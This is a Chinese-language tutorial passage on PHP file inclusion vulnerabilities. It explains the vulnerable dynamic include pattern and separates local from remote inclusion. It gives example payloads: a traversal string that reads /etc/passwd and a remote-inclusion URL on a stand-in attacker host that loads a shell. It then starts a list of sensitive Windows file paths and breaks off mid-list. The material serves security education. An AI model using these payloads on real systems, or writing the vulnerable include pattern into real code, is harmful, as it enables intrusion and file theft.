1. 文件包含漏洞基础解析
文件包含漏洞是Web安全领域中一个经典且危险的漏洞类型。作为一名长期从事渗透测试的安全工程师,我见过太多因为文件包含漏洞导致整个系统沦陷的案例。让我们从基础开始,彻底理解这个漏洞的来龙去脉。
1.1 文件包含的本质与机制
在PHP开发中,include、require这些函数本意是为了提高代码复用性。比如多个页面都需要使用数据库连接功能,开发者会把数据库连接代码单独写在db_connect.php中,然后在各个页面通过include('db_connect.php')来引入。
问题出在动态包含上。当开发人员写出这样的代码:
php复制$page = $_GET['page'];
include($page . '.php');
攻击者就可以通过控制page参数来包含任意文件。这种灵活性本是为了方便,却打开了潘多拉魔盒。
关键区别:include和require在错误处理上不同。include出错会继续执行,require出错会终止脚本。这个细节在CTF中常被用来判断后端逻辑。
1.2 文件包含的两种类型
根据包含文件的来源,可以分为:
-
本地文件包含(LFI):包含服务器本地的文件
- 示例:
?page=../../etc/passwd - 危害:读取敏感文件、结合其他漏洞getshell
- 示例:
-
远程文件包含(RFI):包含远程服务器上的文件
- 示例:
?page=http://attacker.com/shell.txt - 前提:php.ini中allow_url_include=On
- 危害:直接执行远程恶意代码
- 示例:
在实际渗透测试中,LFI更为常见,因为大多数生产环境都会关闭allow_url_include。
1.3 敏感文件路径大全
掌握常见系统的敏感文件路径是文件包含漏洞利用的基础。以下是我整理的实战中常用的路径清单:
Windows系统关键文件
code复制c:\windows\system32\drivers\etc\hosts # 主机名解析
c:\windows\system.ini # 系统硬件配置
c:\windows\php.ini
